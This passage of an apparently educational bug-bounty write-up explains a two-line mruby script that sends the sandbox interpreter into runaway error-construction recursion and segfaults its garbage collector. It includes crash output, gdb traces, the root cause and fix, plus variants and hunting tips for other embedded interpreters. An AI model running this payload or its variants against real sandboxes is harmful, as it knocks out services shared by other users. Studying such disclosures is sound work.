No account, role or special permission is described. The only precondition is being able to submit code to the sandbox, which the public site allowed anyone to do.
Finding it
While testing the sandbox, the researcher noticed that reassigning the NoMethodError constant to a builtin class such as Fixnum or Integer produced strange behaviour. On https://mruby.science the result was not consistent: sometimes the sandbox returned an MRubyEngine::EngineTimeQuotaError, and sometimes, after a long delay, it returned the site's 'Application Error' page.
The local sandbox behaved in a similar way: it printed the MRubyEngine::EngineTimeQuotaError but crashed anyway. That combination, a quota error followed by a crash, is the clue. A clean timeout would stop the program and return the error. A timeout followed by a crash means the interpreter was looping and then dying rather than being stopped cleanly.
Exploitation
Step 1: reassign the error class and call a missing method
The whole proof of concept is two lines:
NoMethodError = Fixnum
boom!
Line by line:
NoMethodError = Fixnumtakes the nameNoMethodError, which normally points at the interpreter's built-in error class, and points it instead atFixnum, the class for whole numbers. In most languages this would be forbidden; in Ruby, constants are just names and can be reassigned.boom!calls a method namedboom!that does not exist anywhere. Normally the interpreter would notice this and raise aNoMethodErrorto tell you so.
The reason to do this is to interfere with the machinery that builds the error message. If the interpreter builds a NoMethodError by asking the NoMethodError class to create a new instance, and that name now points at Fixnum, the interpreter is asking Fixnum to do something it cannot do.
Step 2: observe the behaviour
On the live sandbox the outcome varied between an MRubyEngine::EngineTimeQuotaError and the 'Application Error' page after a long wait. Locally, running the compiled script through the sandbox runner produced a segmentation fault in the host Ruby process:
$ bin/sandbox new_crashes/fixnum_exception.mrb
This command runs the bin/sandbox script and passes it a file, new_crashes/fixnum_exception.mrb, which contains the two-line proof of concept.
bin/sandbox:20: [BUG] Segmentation fault at 0x0000000000000a
ruby 2.3.3p222 (2016-11-21 revision 56859) [x86_64-linux]
-- Control frame information -----------------------------------------------
c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval
c:0002 p:0201 s:0005 E:000f78 EVAL bin/sandbox:20 [FINISH]
c:0001 p:0000 s:0002 E:000670 (none) [FINISH]
-- Ruby level backtrace information ----------------------------------------
bin/sandbox:20:in `<main>'
bin/sandbox:20:in `sandbox_eval'
What this says:
[BUG] Segmentation fault at 0x0000000000000ais Ruby's crash handler reporting that the process tried to access memory address0xa(ten), which is not valid memory. Addresses that small are almost always a sign that something has gone wrong with a pointer.- The
ruby 2.3.3p222line identifies the host Ruby version. - The control frame section lists the Ruby-level calls that were active:
sandbox_eval(the function that runs the submitted script) called frombin/sandboxline 20. - The Ruby level backtrace repeats the same two frames in human-readable form.
The C-level backtrace (the list of internal functions in the compiled engine) shows the crash inside the garbage collector, reached from string allocation during error formatting:
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mark_context_stack+0x8f) [0x7f4ff550b25f] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/include/mruby/boxing_word.h:83
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(incremental_gc.part.11+0x5a2) [0x7f4ff550bd92] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:938
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_incremental_gc+0x1f3) [0x7f4ff550c3a3] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:1062
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_obj_alloc+0xfd) [0x7f4ff550cb8d] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:486
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_str_new+0x24) [0x7f4ff54e61c4] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/string.c:59
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_vformat+0x123) [0x7f4ff550db83] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:344
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_no_method_error+0x9a) [0x7f4ff550e33a] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_method_missing+0x95) [0x7f4ff54fd3b5] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_bob_missing+0x4d) [0x7f4ff54fd46d] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall_with_block+0x27f) [0x7f4ff54f0c1f]
Reading this from the bottom up, because the bottom is where the story starts:
mrb_funcall_with_blockis the engine calling a method on an object.mrb_bob_missingandmrb_method_missingare the handlers that run when the method does not exist.mrb_no_method_erroris the function that builds theNoMethodErrorto report the problem.mrb_vformatformats the error message text.mrb_str_newallocates a new string for that message.mrb_obj_allocasks the garbage collector for memory.mrb_incremental_gcandincremental_gcrun a GC pass.mark_context_stackis the GC walking the stack of active calls, and that is where it crashes.
The same trace repeats mrb_no_method_error calling mrb_funcall with the name new, which in turn goes through mrb_method_missing and back into mrb_no_method_error. In other words, the error-building code is calling itself over and over. The run ends with the quota error surfacing in the host Ruby:
bin/sandbox:20:in `sandbox_eval': exceeded quota of 100 ms. (MRubyEngine::EngineTimeQuotaError)
from bin/sandbox:20:in `<main>'
This is the time limit firing: the script ran longer than 100 milliseconds. The point is that the quota error appears and the process still crashes, so the time limit did not save it.
Step 3: confirm the recursion under gdb
Attaching gdb to the running mirb process and continuing showed the SIGSEGV at mark_context_stack in gc.c:532:
$ gdb attach 5534
This command tells gdb to attach to the process with ID 5534, which is the running mirb interpreter. Attaching lets you inspect a process that is already running, rather than starting it under the debugger.
Program received signal SIGSEGV, Segmentation fault.
mark_context_stack (mrb=mrb@entry=0xb1e010, c=c@entry=0xb2a540) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:532
532 if (!mrb_immediate_p(v)) {
This says the program received a SIGSEGV signal (the operating system's signal for an invalid memory access) while inside mark_context_stack, at line 532 of gc.c. The line shown, if (!mrb_immediate_p(v)) {, is the check the GC performs on each value it finds on the stack. The crash happens while doing that check, which means the value it was reading was not a valid one.
The backtrace makes the chain explicit. Frame 15 is mrb_funcall with name=name@entry=0x48a81f "new", called from mrb_no_method_error at error.c:508, which was reached from mrb_method_missing at class.c:1468 and mrb_bob_missing at class.c:1513. The same group of frames repeats hundreds of times, up to frame 1846, where the missing method id is 627 (the original boom! call) rather than 11 (the new call). The stack is therefore thousands of frames deep when the GC walks it and dereferences a bad value.
In plain terms: the debugger shows the same handful of functions repeating over and over, like a staircase with hundreds of identical steps. The bottom step is the original boom! call. Every step above it is the interpreter trying to build an error about the step below, failing, and trying to build another error about that failure. By the time the garbage collector walks this enormous stack, it reads something that is not a valid value and the process dies.
Root cause
When a method is missing, mrb_no_method_error in error.c builds the error by calling new on the NoMethodError class. Normally that class is the interpreter's own error class and has a new. After NoMethodError = Fixnum, the constant points at a builtin class that has no new, so the attempt to construct the error itself raises a NoMethodError. That second error is constructed the same way, which raises another, and so on. The recursion is unbounded, the stack grows until the GC's context-stack marking walks off the end of it, and the process segfaults.
A useful comparison: imagine a fire alarm that, when it goes off, calls the fire station. If the fire station's number has been changed to a pizza shop, the pizza shop says "wrong number", which triggers the alarm again, which calls the pizza shop again, and so on. Nothing in the system is designed to notice that the alarm is now calling itself.
The quota mechanism does not prevent this. The engine's time quota fires (the local run reports exceeded quota of 100 ms), but the crash still happens, so the quota is not a reliable guard against this path. On the live service the results were inconsistent: sometimes the quota error was returned, sometimes the process died and the 'Application Error' page was shown.
Impact
An attacker who can submit code to the sandbox can crash the interpreter process. On https://mruby.science this manifested as the 'Application Error' page after a long delay, and the researcher states the site was broken during testing. The weakness is classified as memory corruption, and the crash occurs inside the GC while marking a corrupted context stack, not merely as a clean exception. The report does not establish what else, beyond denial of service, could be achieved from the corrupted state.
"Denial of service" means making a service unavailable to its legitimate users. Here, one submitted script can take down the process that runs it, and if that process serves other people's scripts too, they are affected as well.
Fix
The researcher attached a fix similar to an earlier change (#186719), this time moving the NoMethodError into mrb_state. The fix moves the NoMethodError into mrb_state, so the error class is kept in interpreter state rather than resolved through a user-reassignable constant.
In everyday terms: instead of looking up the error class by a name the user can change, the interpreter keeps its own private reference to it. The user can still reassign the public name, but the error-building code no longer reads that name, so it always finds the right class.
Variants to test
- Reassign other error constants to builtin classes and trigger the corresponding error, for example
TypeError = Fixnumfollowed by an operation that raises a type error. A positive result is the same runaway recursion, a quota error followed by a crash, or a segfault in the GC. - Reassign
NoMethodErrorto other builtin classes such asInteger, as the report notes, and to classes that exist but lack the expected constructor. A positive result is the same behaviour as theFixnumcase. - Trigger the missing-method path through different call shapes (explicit receiver, block, arguments) to see whether the recursion depth or the crash point changes. A positive result is a crash at a different frame but the same repeating
mrb_no_method_error/mrb_funcall("new")pattern. - On other embedded interpreters with a time or instruction quota, submit the same two-line script and watch whether the quota error is returned cleanly or the worker still dies. A positive result is a quota error followed by a crash or an application error page.
Hunting notes
This class of bug hides in sandboxes that expose a language runtime to untrusted code and rely on a quota as the only safety net. The signal during recon is a service that evaluates user-supplied scripts and returns distinct outcomes for timeouts versus crashes: if you can make the same input alternate between a quota error and an application error page, the runtime is probably dying underneath the quota. Constants that name error classes are a good place to look, because error construction often goes through a user-visible name lookup. The researcher showed both the live service failing and a local reproduction with a full C backtrace and gdb session.
Difficulty
This bug is rated advanced. Understanding and reproducing it requires reading mruby C internals, interpreting GC backtraces and using gdb, even though the payload itself is two lines.
Glossary
- API: an interface that lets one program ask another to do something, usually over the network, without needing to know how it works inside.
- Backtrace: a list of the function calls that were active when a program crashed or paused, from the innermost call outwards.
- Bytecode: a compiled, intermediate form of a program that an interpreter can run faster than raw source text.
- Class: a blueprint for a kind of value, such as a number or an error.
- Constant: a named value in a program, written with a capital letter, that is meant to stay fixed (though Ruby allows reassignment).
- Denial of service: making a service unavailable to its legitimate users, for example by crashing the process that serves them.
- Exception: a signal a program raises when something goes wrong, which can be caught and handled or allowed to stop the program.
- Garbage collector (GC): the part of a runtime that automatically frees memory no longer in use, by periodically walking live data.
- gdb: the GNU Debugger, a tool for pausing a running program, inspecting its memory and viewing its backtrace.
- Interpreter: a program that reads source code and executes it directly.
- Method: a named action you can ask an object to perform.
- mirb: the interactive mruby interpreter bundled with the engine.
- mruby: a small, embeddable version of the Ruby language.
- Quota: a limit on a resource, here a wall-clock time limit of 100 milliseconds per script.
- Recursion: when a function calls itself, directly or indirectly, and keeps doing so.
- Sandbox: a sealed-off environment where untrusted code can run without affecting the rest of the system.
- Stack: the region of memory that grows and shrinks as functions are called and return.
- SIGSEGV: the operating system signal delivered to a process that makes an invalid memory access.